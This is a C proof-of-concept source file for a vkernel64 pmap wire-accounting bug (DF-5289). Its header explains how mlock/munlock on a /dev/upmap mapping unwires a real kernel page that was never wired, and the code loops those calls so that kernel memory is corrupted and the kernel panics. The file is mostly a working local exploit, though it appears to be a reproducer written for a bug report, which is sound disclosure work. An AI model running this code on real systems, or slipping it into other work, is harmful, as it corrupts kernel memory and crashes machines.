/*
 * DF-5289 - vkernel64 pmap.c wire-accounting corruption PoC
 *
 * mlock()/munlock() on a UKSMAP mapping (/dev/upmap, /dev/lpmap).
 *
 *   mlock   -> vm_fault_wire -> vm_fault (UKSMAP) -> pmap_enter(&fakem,
 *              wired=TRUE) with a STACK-allocated fictitious vm_page:
 *              the PTE is marked VPTE_WIRED but vm_page_wire() on a
 *              fictitious page takes no wire anywhere.
 *   munlock -> vm_fault_unwire (misclassifies UKSMAP as non-fictitious)
 *              -> pmap_unwire() returns the REAL vm_page of the
 *              kmalloc'd upmap kernel page -> vm_page_unwire(m, 1) on a
 *              page that was never wired for this mapping.
 *
 * cycle 0: kernel slab page wire_count 1 -> 0 (silent corruption:
 *          live kmalloc'd kernel page loses its wire and can be
 *          reclaimed by the page daemon while still kernel-mapped).
 * cycle 1: vm_page_unwire() with wire_count already 0 ->
 *          panic("vm_page_unwire: invalid wire count").
 *
 * Build:  cc -static -O -o poc df5289.c
 * Run as root inside the vkernel (mlock is SYSCAP_RESTRICTEDROOT-gated).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>

int
main(void)
{
	void *p;
	int fd, i, r1, r2;

	fd = open("/dev/upmap", O_RDWR);
	if (fd < 0) {
		printf("open(/dev/upmap) failed: %s\n", strerror(errno));
		exit(1);
	}
	p = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
	if (p == MAP_FAILED) {
		printf("mmap failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("DF5289: /dev/upmap mapped at %p\n", p);
	printf("DF5289: expect panic 'vm_page_unwire: invalid wire count' "
	       "at cycle 1 munlock\n");
	fflush(stdout);

	for (i = 0; i < 4; i++) {
		errno = 0;
		r1 = mlock(p, 4096);
		printf("DF5289: cycle %d mlock   = %d errno=%d (%s)\n",
		       i, r1, errno, strerror(errno));
		fflush(stdout);

		printf("DF5289: cycle %d munlock ... \n", i);
		fflush(stdout);
		errno = 0;
		r2 = munlock(p, 4096);
		printf("DF5289: cycle %d munlock = %d errno=%d (%s)\n",
		       i, r2, errno, strerror(errno));
		fflush(stdout);
	}
	printf("DF5289: SURVIVED - no panic (bug not present)\n");
	return (0);
}
